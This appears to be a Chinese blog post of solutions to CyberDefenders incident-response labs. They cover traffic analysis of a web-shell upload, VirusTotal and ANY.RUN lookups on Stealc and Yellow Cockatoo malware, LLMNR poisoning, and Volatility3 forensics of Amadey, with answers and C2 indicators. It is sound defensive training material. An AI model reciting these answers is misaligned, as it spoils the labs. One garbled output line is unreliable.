loading

CyberDefenders通关(持续缓慢更新)

CyberDefenders全集

只有英语四级,全程开的翻译器

MISC的末路是应急响应

WebStrike Lab(流量分析)

在一家公司的web服务器上发现了一个可疑文件,引起了内部网络的警报。开发团队标记了这个异常,怀疑有潜在的恶意活动。为了解决这个问题,网络团队捕获了关键的网络流量,并准备了一个PCAP文件以供审查。

你的任务是分析提供的PCAP文件,查明文件是如何出现的,并确定任何未授权活动的范围。

Q1:识别攻击的地理来源有助于实施地理封锁措施和分析威胁情报。袭击是从哪个城市发起的?

靶机给出一个流量包,我们进行分析

统计会话:Statistics->Conversations

image-20250215180304948

可以发现流量包仅有117.11.88.12424.49.63.79发送的流量,说明117.11.88.12424.49.63.79发起了攻击

查询IP地址:https://www.chaipip.com/或What Is My IP Address - See Your Public Address - IPv4 & IPv6

image-20250215180953350

说明攻击是天津发起的

答案:TianJin

Q2:了解攻击者的User-Agent有助于创建健壮的过滤规则。攻击者的用户代理是什么?

我们进行协议分级:Statistics->Protocol Hierarchy

image-20250215181534365

重点分析HTTP协议内容

image-20250215181624987

答案:Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Q3:我们需要确定是否有漏洞被利用。成功上传的恶意web shell的名称是什么?

我们追踪HTTP流进行分析:Follow->HTTP

image-20250215181953493

可以发现在编号为13的HTTP流攻击者已经利用成功,因此编号为12的HTTP流上传的内容极可能为web shell

image-20250215182332323

答案:image.jpg.php

Q4:识别上传文件的存储目录对于定位漏洞页面和移除恶意文件至关重要。网站使用哪个目录来存储上传的文件?

由上一题可以知道目录路径

答案:/reviews/uploads/

Q5:在攻击者的机器上打开的哪个端口被恶意web shell针对建立未经授权的出站通信?

分析会话可以发现

image-20250215182700510

攻击者机器上打开的端口为46658

再看攻击的HTTP流量可以发现靶机的8080向攻击机反弹了shell

image-20250215182945522

建立未经授权的出站通信就是反弹shell

答案:8080

Q6:认识到泄露数据的重要性有助于优先考虑事件响应行动。攻击者试图窃取哪个文件?

由前面对攻击HTTP流量的分析可以知道,攻击者试图窃取passwd文件

答案:passwd

Oski Lab(恶意软件分析)

下午晚些时候,该公司的会计收到了一封客户发来的名为“紧急新订单”的电子邮件。当他试图查看附件中的发票时,他发现其中包含虚假的订单信息。随后,SIEM解决方案生成了一个关于下载潜在恶意文件的警报。经初步调查,这次下载可能是PPT文件造成的。你能详细检查一下这个文件吗?

SIEM(安全信息和事件管理) 是一种集成的安全管理解决方案,旨在通过集中收集、分析和关联来自企业网络、系统、应用程序的安全数据,帮助组织实时监控、检测和应对潜在的安全威胁,同时满足合规性要求。

SIEM的核心功能

功能 说明
日志收集 从防火墙、服务器、终端设备等各类来源实时收集日志和事件数据。
数据标准化 将不同格式的日志统一转换为标准结构(如 CEF、LEEF 格式),便于分析。
事件关联 通过规则或机器学习,识别跨系统的关联事件(如多次失败登录后成功登录)。
威胁检测 检测异常行为(如数据泄露、横向移动、恶意软件活动)并生成告警。
合规报告 自动生成符合 GDPR、HIPAA、PCI DSS 等法规的审计报告。
自动化响应 与 SOAR(安全编排、自动化与响应)集成,触发自动阻断或隔离操作。

SIEM的组成架构

组件 作用
数据采集器 从网络设备、云服务、终端等收集原始日志(支持 Syslog、API、Agent 等方式)。
存储引擎 使用数据库或大数据平台(如 Elasticsearch)存储海量日志,支持快速查询。
分析引擎 应用规则引擎、行为分析(UEBA)或 AI/ML 模型识别威胁。
可视化界面 提供仪表盘、告警面板和调查工具(如 Splunk 的搜索语言)。
合规模块 预置合规模板,简化报告生成流程。

Q1:为了有效地分类和理解这种潜在的恶意软件的行为和意图,识别其家族至关重要。在PPT中找到的恶意可执行文件的恶意软件家族是什么?

题目给出的只有一个hash值,因此我们可以在VirusTotal上搜索相关的hash值来匹配恶意文件(最好注册并登录)

VirusTotal

也可以用URLhaus | Malware URL exchange

VirusTotal 是检查其数据库中已知哈希值的绝佳资源。回顾 Detection 标签下的 Crowdsourced IDS rules,这可以表明一个潜在的恶意软件家族。(入侵检测系统(IDS)在动态分析沙箱中执行时,会根据一系列规则对受监控文件生成的网络流量进行匹配。这些规则旨在识别潜在恶意活动,通常涵盖多种攻击类型和可疑行为)

image-20250215214716601

image-20250215214826871

当然在ASSOCIATIONS中看得更直观

image-20250215220759712

恶意软件家族为Stealc

答案:Stealc

Q2:确定恶意软件的创建时间可以深入了解其来源。恶意软件是什么时候产生的?

我们在DETAILS中可以找到它的创建时间

image-20250215215100719

答案:2022-09-28 17:40

Q3:识别与恶意软件通信的命令和控制(C2)服务器可以帮助追踪攻击者。PPT文件中的恶意软件与哪个C2服务器通信?

RELATIONS中可以找出恶意软件与其他机器的行为关系

image-20250215215334289

答案: http://171.22.28.221/5c06c05b7b34e8e6.php

Q4:识别恶意软件感染后的初始行为可以帮助了解其主要目标。恶意软件在感染后请求的第一个库是什么?

Behavior 中的 Files Dropped 可以找到相关请求的DLL文件。

image-20250215220209585

上一题中也可以发现恶意软件是请求过sqlite3.dll

答案:sqlite3.dll

Q5:通过检查这个恶意软件,我们发现它似乎利用了RC4密钥来解密base64字符串。这个恶意软件使用什么特定的RC4密钥?

利用https://app.any.run/的相关报告查看

在anyrun中的Report中搜索hash值

image-20250215221505956

在最早的危险记录中可以查看其在沙箱中的各种危险操作:

image-20250215223125944

点击恶意软件VPN.exe旁边的CFD即可查看Malware configuration的详细内容

Malware configuration 是指嵌入在恶意软件代码中的预定义设置或参数。这些配置通常包括关键的细节,如加密密钥、命令和控制(C2)服务器地址、文件路径或执行命令。通过提取和分析这些配置,分析人员可以了解恶意软件的预期行为、通信方法和操作参数。

image-20250215223842367

可以找到控制服务器(C2)和RC4密钥

官方给出的提示是让我们看恶意软件的分析报告Malware analysis VPN.exe Malicious activity | ANY.RUN - Malware Sandbox Online

image-20250215223609994

Q6:识别对手的技术可以帮助理解他们的方法和设计对策。他们使用哪种MITRE ATT&CK技术来窃取用户的密码?

点击VPN.exe再点其下的more info即可查看该进程进行的危险行为:

image-20250215224544593

image-20250215224600810

我们将鼠标悬停在MITRE ATT&CK技术序号上可以查看详情:

image-20250215224722097

恶意软件属于Stealc,我们搜索都是窃取数据的:

image-20250215225055884

那么答案应该在T1555(窃取浏览器凭证)和T1552(窃取文件凭证)之间

通过分析恶意软件发送的HTTP请求可以发现其窃取的数据:

image-20250215225653867

image-20250215225708547

image-20250215225827343

AI说这些事HTTP cookie信息,因此利用的技术为T1555(窃取浏览器凭证)

答案:T1555

Q7:恶意软件可能会删除其入侵行为留下的文件。恶意软件的删除目标是哪个目录或路径?

可以发现恶意软件通过启动CMD进行自我删除

image-20250215230214238

点击查看详情

image-20250215230311925

可以发现它删除了C:\ProgramData*.dll

答案:C:\ProgramData

Q8:了解恶意软件数据泄露后的行为可以深入了解其规避技术。成功窃取用户数据后,恶意软件需要多少秒才能自我删除?

由上题可知,CMD还执行了5秒后自我删除的命令

答案:5

PoisonedCredentials Lab(流量分析)

你们组织的安全小组检测到可疑网络活动激增。有人担心LLMNR(链路本地组播名称解析)和NBT-NS (NetBIOS名称服务)中毒攻击可能发生在您的网络中。众所周知,这些攻击利用这些协议来拦截网络流量,并可能危及用户凭据。您的任务是调查网络日志并检查捕获的网络流量。

Q1:在上述场景中,攻击者利用合法机器的良性网络流量发起攻击。你能识别IP地址为192.168.232.162的机器所输入的错误查询吗?

Link-Local Multicast Name Resolution (LLMNR) 是一种协议,它使局域网中的计算机无需依赖中央DNS服务器即可将名称解析为IP地址。虽然在DNS不可用的环境中很有用,但由于缺乏身份验证机制,它也可能被攻击者利用。攻击者可以用伪造的响应来响应查询,将合法流量重定向到恶意系统。

LLMNR 进行名称解析的过程为:
- 检查本地 NetBIOS 缓存
- 如果缓存中没有则会向当前子网域发送广播包
- 当前子网域的其他主机收到并检查广播包,如果没有主机响应则请求失败

NetBIOS Name Service (NBT-NS) 通过将NetBIOS名称转换为IP地址来进行类似的操作,主要用于较旧的Windows网络。与 LLMNR 一样,它缺乏适当的身份验证,容易受到类似的欺骗攻击。攻击者经常利用这些弱点进行网络投毒攻击,以拦截流量或窃取敏感凭据。

NetBIOS 协议进行名称解析的过程如下:
- 检查本地 NetBIOS 缓存
- 如果缓存中没有请求的名称且已配置了 WINS 服务器,接下来则会向 WINS 服务器发出请求
- 如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播
- 如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件

参考文章:LLMNR/NBTNS欺骗投毒 - zpchcbd - 博客园

根据题意,这是LLMNR/NBTNS投毒的流量,我们协议分级重点关注这两协议内容:

image-20250216211514950

image-20250216211721448

这是LLMNR查询的内容,表示该设备向网络中的其他设备请求名为 "fileshaare" 的主机的A记录(即该主机的IP地址)。0xaeb2是查询的事务ID,A表示这是一个标准的主机名解析请求。

224.0.0.252:是LLMNR的目的地址,是一个特殊的多播地址,用于局域网内的名称解析请求。

IP地址为192.168.232.162的机器查询了名为fileshaare主机的IP地址

答案:fileshaare

Q2:我们正在调查一起网络安全事件。为了进行彻底的调查,我们需要确定流氓机器的IP地址。充当流氓实体的机器的IP地址是什么?

由上题的截图中可以发现第三个数据包已经接收到了流氓机器的IP地址的回复

(第二个数据包和第四个数据包相互传递的是IPV6的请求和回复)

答案:192.168.232.215

Q3:作为我们调查的一部分,识别所有受影响的机器是必不可少的。收到恶意机器的恶意响应的第二台机器的IP地址是什么?

我们将流量包根据源地址进行排序很快就能找到第二台靶机

image-20250216212448222

答案:192.168.232.176

Q4:我们怀疑用户账户可能已经被入侵。要评估这一点,我们必须确定被泄露账户的用户名。攻击者窃取的账号的用户名是什么?

通过过滤两个靶机与攻击机的流量分别进行分析:

image-20250216212803533

第一个靶机与攻击机之间除了MDNS和LLMNR协议就没有其他内容了

NBNS(NetBIOS Name Service,NetBIOS名称服务)是一种用于局域网中设备名称解析的协议,主要用于通过NetBIOS名称(类似于计算机的主机名)来解析设备的IP地址。它基于 NetBIOS 协议(Network Basic Input/Output System),在较老的局域网环境中非常常见,尤其是在使用Windows操作系统的网络中。

image-20250216213501549

后续攻击机对第二个靶机发送的SMB2协议中就包含了靶机的用户名

SMB2(Server Message Block version 2)是一种网络文件共享协议,用于计算机之间的文件和打印机共享。它是微软在Windows Vista中引入的协议版本,作为SMB协议的改进和增强版本。SMB2协议是网络中设备间进行文件访问和管理的一种重要协议,特别是在Windows环境下。

在这种情况下,恶意机器利用投毒攻击来操纵SMB通信,拦截敏感数据,如用户名和身份验证尝试。

使用network miner可以直接看到显示的用户名

将流量包导入network miner后查看Credentials选项卡中的

image-20250216213959682

答案:janesmith

Q5:作为我们调查的一部分,我们的目标是了解攻击者的活动范围。攻击者通过SMB访问的机器的主机名是什么?

我们在攻击机与靶机建立SMB协议连接的报文中可以找到

image-20250216214315332

DNS computer name 列示为 AccountingPC.cybercactus.local 。说明通过SMB访问的主机名是 AccountingPC ,该主机在 cybercactus.local 域内。

答案:AccountingPC

Yellow RAT Lab(恶意软件分析)

在GlobalTech Industries的一次定期IT安全检查中,从多个靶机检测到异常的网络流量。经过初步调查,发现某些员工的搜索请求被重定向到不熟悉的网站。这一发现引起了关注,并促使进行更彻底的调查。你的任务是调查这个事件并收集尽可能多的信息。

Q1:了解对手有助于防御攻击。引起网络异常流量的恶意软件家族是什么?

在VirusTotal中搜索hash值,RELATIONS标签页下的Graph Summary中可以找出恶意软件的关系图

image-20250217211922753

image-20250217212240870

在ASSCIATIONS或COMMUNITY社区中也能找到:

image-20250217212312772

image-20250217212747454

Remote Access Trojan (RAT),允许攻击者远程控制受感染的系统,执行命令,窃取数据,并部署额外的恶意payload。

这个恶意软件是一个基于。net的RAT病毒,设计用来直接在内存中执行命令,绕过基于磁盘的检测机制。它的主要功能包括与命令-控制(C2)服务器建立连接、下载辅助有效载荷,以及循环执行命令以维护持久性。值得注意的是,此RAT病毒还收集主机信息,其中可能包括有关操作系统、网络配置和潜在存储的凭据的详细信息,表明其侦察和凭据访问的能力。

答案:Yellow Cockatoo RAT

Q2:作为我们事件响应的一部分,了解恶意软件使用的常见文件名可以帮助扫描其他靶机以防止潜在感染。在我们的靶机上发现的与恶意软件相关的常见文件名是什么?

在VirusTotal中可以找到与恶意软件相关的常见文件名是111bc461-1ca8-43c6-97ed-911e0e69fdf8.dll

image-20250217213105715

文件名可以用作 indicator of compromise (IOC),以便跨其他靶机和服务器执行扫描。安全团队可以利用端点检测和响应(EDR)工具或杀毒软件搜索该文件名,确保任何其他感染都能被识别和修复。此外,与文件关联的SHA256哈希可用于威胁情报平台的进一步验证,或在安全工具中阻止哈希,从而有效地阻止文件在环境中执行。

答案:111bc461-1ca8-43c6-97ed-911e0e69fdf8.dll

Q3:确定恶意软件的编译时间可以揭示其开发和部署时间。感染我们网络的恶意软件的编译时间是多少?

我们在DETAILS中可以找到它的创建时间

image-20250217213235565

答案:2020-09-24 18:26

Q4:了解更广泛的网络安全社区首次识别恶意软件的时间,可以帮助确定恶意软件在检测之前可能已经在环境中存在了多长时间。恶意软件第一次提交给VirusTotal是什么时候?

由上题可以知道时间

答案:2020-10-15 02:47

Q5:为了彻底根除来自工业系统的威胁,我们需要识别恶意软件丢弃的所有组件。恶意软件放在AppData文件夹中的.dat文件的名字是什么?

为了有效地从受影响的系统行业中消除恶意软件,需要识别所有被恶意软件丢弃的组件。其中一个组件是indicator of compromise(IOC),可用于检测和清除感染残留物。恶意软件通常使用特定的文件名和位置来隐藏其有效载荷,这使得检查AppData文件夹等目录至关重要,因为合法应用程序可以访问和使用它,攻击者经常利用它。

在anyrun中搜索发现没有相关报告:

image-20250217214258518

VirusTotal没有记录这个恶意软件生成的.dat文件

image-20250217214527378

题目提示在谷歌中搜索 Yellow Cockatoo Malware ,找到任何关于该恶意软件的博客。

image-20250217214604368

How to detect Yellow Cockatoo remote access trojan

报告中有更详细的行为分析

image-20250217215032493

可以发现恶意软件放在AppData文件夹中的.dat文件的名字

该文件的存在表明,它可能用于存储配置数据、记录活动或在受感染的系统中维护持久性。考虑到它在漫游文件夹中的位置,该文件可能会在系统上的多个用户配置文件之间复制,使清理工作复杂化。

为了减轻威胁,安全团队应该对所有端点进行有针对性的扫描,以确定是否存在 solarmarker.dat 这个文件。这包括搜索指定的目录路径 %USERPROFILE%\AppData\Roaming\ ,以及检查任何引用此文件的进程或服务。删除这个文件,连同任何相关的注册表项或计划任务,对于确保完全根除恶意软件至关重要。此外,建议隔离受感染的系统,重置用户凭据,并监控网络流量以获取进一步的可疑行为迹象,以防止再次感染。

答案:solarmarker.dat

Q6:识别恶意软件通信的C2服务器对阻止其通信和防止进一步的数据泄露至关重要。恶意软件与哪个C2服务器通信?

image-20250217220129819

由上题找到的报告中可以找到对与黄色鹦鹉活动相关的恶意软件的分析表明,它与 gogohid.com 通信。该域充当C2服务器,促进受感染主机与攻击者的基础设施之间的通信。作为恶意软件网络活动的一部分,这个域的存在凸显了它在维护持久访问和将数据传输回攻击者方面的作用。

image-20250217220229220

在VirusTotal中的内存模式域名中也能找到

答案:http://gogohid.com

Amadey Lab(内存取证)

一个来自端点检测和响应(EDR)系统的下班后警报标记Windows靶机上的可疑活动。被标记的恶意软件与Amadey木马窃贼一致。你的工作是分析当前的内存转储,并创建一份关于恶意软件所采取行动的详细报告。

Amadey Trojan Stealer 是一种著名的恶意软件菌株,专门用于 reconnaissance , data collection , credential harvesting ,并与远程服务器建立 persistent connections 。它的模块化设计通常允许它下载额外的有效载荷,使其能够根据攻击者的目标扩展其能力。由于它能够在内存中操作,识别它的踪迹需要深入的取证技术。

本演练将指导您使用 Volatility3 (一个强大的内存取证框架)分析提供的 memory dump 的过程。您将调查正在运行的进程,跟踪网络活动,定位可疑文件,并揭示恶意软件用于建立持久性的机制。在此过程中,您将应用各种 Volatility3 插件来提取关键信息并构建对攻击的全面理解。

Q1:在内存转储分析中,确定恶意活动的根源对于了解入侵的程度至关重要。触发此恶意行为的父进程的名称是什么?

我们在Volatility3文件夹下进行内存取证,2和3的插件有些区别,

./vol.py -f ../../Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.pslist
或
./vol.py -f ../../Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.pstree

windows.pslist 用于列出系统中正在运行的进程。pslist 是 Volatility 插件中的一个模块,专门用于提取进程相关的信息。

该命令显示所有活动进程的详细信息,包括它们的进程id (pid)、父进程id (ppid)、创建和退出时间、线程计数和句柄。通过检查这些属性,分析人员可以识别异常,如可疑的父子关系、异常的资源使用或重复的进程名称,这些可能表明恶意软件活动。

PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime	File output

4	0	System	0xfa800069b6f0	91	446	N/A	False	2023-08-09 21:32:08.000000 	N/A	Disabled
264	4	smss.exe	0xfa8001fb6b30	2	29	N/A	False	2023-08-09 21:32:08.000000 	N/A	Disabled
348	336	csrss.exe	0xfa800270f180	8	445	0	False	2023-08-09 21:32:09.000000 	N/A	Disabled
400	336	wininit.exe	0xfa8002a704a0	3	74	0	False	2023-08-09 21:32:09.000000 	N/A	Disabled
408	392	csrss.exe	0xfa8002a6e120	10	225	1	False	2023-08-09 21:32:09.000000 	N/A	Disabled
464	392	winlogon.exe	0xfa8002ab5700	3	111	1	False	2023-08-09 21:32:09.000000 	N/A	Disabled
500	400	services.exe	0xfa8002a97b30	9	209	0	False	2023-08-09 21:32:09.000000 	N/A	Disabled
508	400	lsass.exe	0xfa8002a77b30	6	555	0	False	2023-08-09 21:32:09.000000 	N/A	Disabled
516	400	lsm.exe	0xfa8002adcb30	9	140	0	False	2023-08-09 21:32:09.000000 	N/A	Disabled
620	500	svchost.exe	0xfa8002b41970	10	351	0	False	2023-08-09 21:32:09.000000 	N/A	Disabled
684	500	vmacthlp.exe	0xfa8002b7a6e0	3	54	0	False	2023-08-09 21:32:09.000000 	N/A	Disabled
716	500	svchost.exe	0xfa8002b9f320	7	257	0	False	2023-08-09 21:32:09.000000 	N/A	Disabled
768	500	svchost.exe	0xfa8002bc8b30	21	488	0	False	2023-08-09 21:32:09.000000 	N/A	Disabled
872	500	svchost.exe	0xfa8002b12890	18	435	0	False	2023-08-09 21:32:10.000000 	N/A	Disabled
924	500	svchost.exe	0xfa8002b24b30	31	887	0	False	2023-08-09 21:32:10.000000 	N/A	Disabled
368	500	svchost.exe	0xfa8002ca7060	17	675	0	False	2023-08-09 21:32:10.000000 	N/A	Disabled
920	500	svchost.exe	0xfa8002cc5100	15	396	0	False	2023-08-09 21:32:10.000000 	N/A	Disabled
1104	500	spoolsv.exe	0xfa8002d12b30	13	266	0	False	2023-08-09 21:32:10.000000 	N/A	Disabled
1160	500	svchost.exe	0xfa8002d55b30	18	307	0	False	2023-08-09 21:32:10.000000 	N/A	Disabled
1236	500	taskhost.exe	0xfa8002dc6270	8	145	1	False	2023-08-09 21:32:10.000000 	N/A	Disabled
1344	872	dwm.exe	0xfa8002e00060	4	70	1	False	2023-08-09 21:32:10.000000 	N/A	Disabled
1356	1312	explorer.exe	0xfa8002cf5b30	21	685	1	False	2023-08-09 21:32:10.000000 	N/A	Disabled
1508	500	VGAuthService.	0xfa8002e8e940	3	88	0	False	2023-08-09 21:32:11.000000 	N/A	Disabled
1576	1356	vmtoolsd.exe	0xfa8002eb9630	6	183	1	False	2023-08-09 21:32:11.000000 	N/A	Disabled
1604	500	vmtoolsd.exe	0xfa800e9ff060	9	305	0	False	2023-08-09 21:32:11.000000 	N/A	Disabled
1648	500	ManagementAgen	0xfa80015f9370	10	92	0	False	2023-08-09 21:32:11.000000 	N/A	Disabled
1968	500	svchost.exe	0xfa8001d41890	6	91	0	False	2023-08-09 21:32:12.000000 	N/A	Disabled
1444	620	WmiPrvSE.exe	0xfa8002c135d0	10	287	0	False	2023-08-09 21:32:12.000000 	N/A	Disabled
868	500	dllhost.exe	0xfa8001ef66d0	13	190	0	False	2023-08-09 21:32:12.000000 	N/A	Disabled
2064	500	msdtc.exe	0xfa8002edab30	12	144	0	False	2023-08-09 21:32:14.000000 	N/A	Disabled
2356	500	SearchIndexer.	0xfa8002f7d6f0	11	592	0	False	2023-08-09 21:32:17.000000 	N/A	Disabled
2508	500	wmpnetwk.exe	0xfa800305cb30	10	208	0	False	2023-08-09 21:32:17.000000 	N/A	Disabled
2620	500	svchost.exe	0xfa80030c7b30	16	241	0	False	2023-08-09 21:32:17.000000 	N/A	Disabled
3016	2144	GoogleCrashHan	0xfa800143eb30	5	91	0	True	2023-08-09 21:32:21.000000 	N/A	Disabled
3028	2144	GoogleCrashHan	0xfa8001bfe6f0	5	81	0	False	2023-08-09 21:32:21.000000 	N/A	Disabled
2748	2524	lssass.exe	0xfa800300a750	7	254	1	True	2023-08-09 21:33:04.000000 	N/A	Disabled
3064	2748	rundll32.exe	0xfa8003042b30	1	64	1	True	2023-08-09 21:33:56.000000 	N/A	Disabled
2124	924	taskeng.exe	0xfa80007f38e0	5	85	1	False	2023-08-09 21:34:00.000000 	N/A	Disabled
2592	500	sppsvc.exe	0xfa80007c8b30	4	144	0	False	2023-08-09 21:34:13.000000 	N/A	Disabled
2476	1604	cmd.exe	0xfa80031591b0	0	-	0	False	2023-08-09 21:50:06.000000 	2023-08-09 21:50:07.000000 	Disabled
2428	348	conhost.exe	0xfa8002f10b30	0	-	0	False	2023-08-09 21:50:07.000000 	2023-08-09 21:50:07.000000 	Disabled
1744	2476	ipconfig.exe	0xfa8000784920	0	-	0	False	2023-08-09 21:50:07.000000 	2023-08-09 21:50:07.000000 	Disabled

image-20250218001934319

PID 508lsass.exe:本地安全机构子系统服务(LSASS)是一个合法的Windows进程,负责实施安全策略、管理用户登录和处理身份验证令牌。然而,由于其存储敏感凭据的作用,它经常成为攻击者转储密码或提升权限的目标。

PID 2748lssass.exe就非常可疑

可疑的 lssass.exe 子进程为 rundll32.exe (PPID 2748),该子进程经常通过DLL文件执行恶意代码。 rundll32.exe 的创建时间与可疑活动的时间范围进一步相关,强化了其在攻击中的作用。

lssass.exe (PID 2748)进程可能是恶意的,因为它模拟了一个合法的安全进程( lsass.exe ),并且与可疑的子进程 rundll32.exe 相关。攻击者通常使用这种技术来隐藏他们的活动,例如凭据转储。

答案:lssass.exe

Q2:一旦识别出流氓进程,它在设备上的确切位置可以揭示更多关于其性质和来源的信息。这个进程位于靶机上的什么地方?

一旦在内存分析期间确定了可疑进程,下一个合乎逻辑的步骤就是确定其在文件系统中的确切位置。这可以提供其来源的关键上下文,无论它是合法应用程序的一部分,还是与恶意软件相关的注入或丢弃的可执行文件。通过检查用于启动进程的命令行参数,调查人员可以确定可执行程序的路径,并评估它是否位于可信目录或恶意软件经常使用的临时文件夹等可疑位置。

./vol.py -f ../../Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.cmdline --pid 2748

cmdline 插件会提取并显示进程启动时传递给它的命令行参数。这个插件可以帮助你了解某个进程在启动时是否传递了特定的命令行参数或文件路径。

image-20250218234013440

在路径中使用 ~ 符号表示短(8.3)文件名格式,这是Windows为支持不能处理长文件名的旧软件而使用的一种遗留命名约定。在这里,目录 0XSH3R~1 对应于一个较长的目录名,但已被截断。这种类型的路径缩写经常出现在恶意软件用来掩盖其来源或逃避检测的临时目录和位置中。

Temp 目录中的可执行文件会进一步引发危险信号,因为恶意软件通常会利用该位置删除有效载荷(payload)或存储执行所需的临时文件。临时文件夹经常被普通用户写入,这使得它们成为恶意行为者试图绕过管理权限的理想目标。该可执行程序本身的命名 lssass.exe ,与合法的 lsass.exe 过程非常相似,表明它试图通过伪装来逃避检测工具和分析人员。

答案:C:\Users\0XSH3R~1\AppData\Local\Temp\925e7e99c5\lssass.exe

Q3:持续的外部通信表明恶意软件试图接触C2C服务器。您能识别与进程交互的命令和控制(C2C)服务器IP吗?

Command and Control (C2C)服务器是攻击者远程控制被感染系统和窃取数据的核心组件。这些服务器允许攻击者向被入侵的机器发送命令,获取敏感信息,或部署额外的有效载荷,使它们成为现代恶意软件操作的关键部分。检测与C2服务器的通信对于事件响应至关重要,因为它有助于识别正在进行的数据导出或远程控制活动。

./vol.py -f ../../Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.netscan |grep 2748

netscan插件用来扫描内存中的网络连接信息。它会列出所有打开的端口、连接的IP地址、使用的协议等信息,帮助我们分析系统的网络活动。

内存偏移地址	使用的协议	本地IP	本地端口	远程IP	远程端口	该连接已关闭	连接对应的进程 PID	进程名称	无附加信息。
0xe239910  100.0TCPv4	-	0DB scan56.75.178.2ed   0       CLOSED  2748	lssass.exe	N/A
0x1d75b530	TCPv4	192.168.195.136	49167	41.75.84.12	80	CLOSED	2748	lssass.exe	N/A
0x1e94dcf0	TCPv4	192.168.195.136	49168	41.75.84.12	80	CLOSED	2748	lssass.exe	N/A

image-20250218234942122

可以发现lssass.exe尝试连接过41.75.84.12的80端口

答案:41.75.84.12

Q4:沿着恶意软件与C2C的链接,恶意软件可能会获取其他工具或模块。它试图将多少不同的文件带到受影响的靶机上?

分析可疑进程通常包括检查内存转储,以识别任何相关的网络活动或可能指向恶意行为的url。由于所述进程被证明使用HTTP流量并与外部IP地址建立连接,内存分析被扩展以研究进一步的指标,如url和嵌入的资源。恶意软件经常利用HTTP流量与命令和控制(C2)服务器通信或下载额外的有效负载。在这种情况下,进程内存转储将被检查,以寻找可能揭示恶意软件行为的url和HTTP请求痕迹。

./vol.py -f ../../Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.memmap --pid 2748 --dump

memmap用于提取和分析进程的内存映射信息(内存区域的分配、页表映射等)。它将展示进程如何将内存映射到其地址空间,并列出相关的内存区域信息。

--dump这个参数会触发内存映射信息的转储(dump)。意味着该命令不仅列出内存映射区域,还会把相关的内存内容从内存转储中提取出来,保存到文件中(通常是 .dmp 文件)。这对于深入分析内存中的内容非常有用,尤其是在查找恶意行为或进一步调试时。

该命令生成一个内存转储文件,名为 pid.2748.dmp ,可以解析该文件中的工件。内存转储提供来自进程内存空间的原始数据,允许分析人员搜索与恶意活动相关的字符串、模式或url。一旦创建了转储,就使用 strings 实用程序从内存文件中提取可读文本。

strings pid.2748.dmp | grep "GET /"

该命令在内存转储中搜索HTTP GET请求,这些请求通常表示试图获取远程资源或与外部服务器建立通信。输出显示了两个特定的请求:

image-20250219001405832

这些HTTP请求表明,该进程试图检索DLL文件,可能是其有效载荷交付或基于插件的模块结构的一部分,此类DLL文件可能被用于扩展功能、提升权限或泄露敏感数据。

答案:2

Q5:确定这些附加组件的存储点对于遏制和清理至关重要。恶意软件在其恶意活动中下载和使用的文件的完整路径是什么?

在分析恶意软件活动时,识别额外恶意组件存储的位置对于遏制和清理至关重要。恶意软件通常下载并执行支持文件,如dll或脚本,以扩展其功能或在系统上保持持久性。在本次调查中,重点转移到确定这些成分的存储路径,以促进补救工作。

./vol.py -f ../../Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.filescan | grep -E "cred64|clip64"

filescan用于扫描内存中的文件信息。它会列出所有当前加载到内存中的文件,包括文件路径、文件描述符、文件标识符等信息。通过这个插件,可以找出内存中被访问的文件或被某个进程打开的文件。

grep -E 参数启用了扩展正则表达式。

image-20250219001743425

该路径表明, clip64.dll 文件存储在用户的AppData漫游目录中名为 116711e5a2ab05 的子文件夹中。AppData目录的使用非常重要,因为它是恶意软件用来存储有效载荷或配置文件的常见位置。这个目录对于普通用户来说是可写的,并且经常被排除在防病毒扫描之外,这使得它成为隐藏恶意文件的理想选择。

答案:C:\Users\0xSh3rl0ck\AppData\Roaming\116711e5a2ab05\clip64.dll

Q6:一旦被检索出来,恶意软件就会激活它的其他组件。哪个子进程被恶意软件启动来执行这些文件?

我们在Q1的分析就找到了其子进程为rundll32.exe

在这种情况下, rundll32.exe 可能用作加载和激活检索到的DLL文件的机制( cred64.dllclip64.dll )。这种执行技术允许恶意软件在不引起注意的情况下扩展其功能,因为 rundll32.exe 是一个受信任的Windows二进制文件,它的活动可能会绕过基本的安全监控工具。

答案:rundll32.exe

Q7:全面了解Amadey的持久化机制有助于有效地缓解这种情况。除了已经曝光的位置,恶意软件还会在哪里确保其持续存在?

持久化是恶意软件使用的基本策略,以确保它在被入侵的系统上仍然活跃,即使在重启或用户登出后也是如此。恶意软件通过将自身嵌入到系统组件中来实现持久性,例如启动文件夹、注册表项、计划任务或系统服务。这使得它能够在系统启动或特定触发器激活时自动执行,使得检测和删除它变得更加困难。对于Amadey来说,持久化机制尤其关键,因为恶意软件依赖于模块有效载荷和与命令与控制(C2)服务器的通信,以保持对受感染系统的控制。

我们继续扫描lssass.exe进程的位置

./vol.py -f ../../Artifacts/Windows\ 7\ x64-Snapshot4.vmem windows.filescan | grep "lssass.exe"

image-20250219002529499

第一个路径位于Temp临时目录下,表示恶意软件最初在此放置或执行的临时放置点。

第二个路径 System32\Tasks 下的表示一种更深思熟虑的持久化机制。存储在 Tasks 目录下的文件通常与Windows Task Scheduler关联,这是一个用于自动化任务的合法工具。恶意软件经常滥用计划任务,通过创建任务以预定义的时间间隔或系统事件执行恶意文件来建立持久性。

答案:C:\Windows\System32\Tasks\lssass.exe

Lespion Lab(社会工程学)

你被一个网络被入侵并下线的客户委托调查事件并确定攻击者的身份。

事件应急人员和数字取证调查人员目前正在现场,并进行了初步调查。他们的发现表明,攻击来自一个用户账户,很可能是内部人员。调查事件,找到内部人员,发现攻击行为。

Q1:File -> GitHub .txt:内幕人士在他的GitHub仓库中添加了什么API密钥?

为了调查内部活动,我们从分析用户的GitHub仓库开始。

下载文件,文件中有内鬼的GitHub仓库地址,我们进行访问查看:

image-20250219232711998

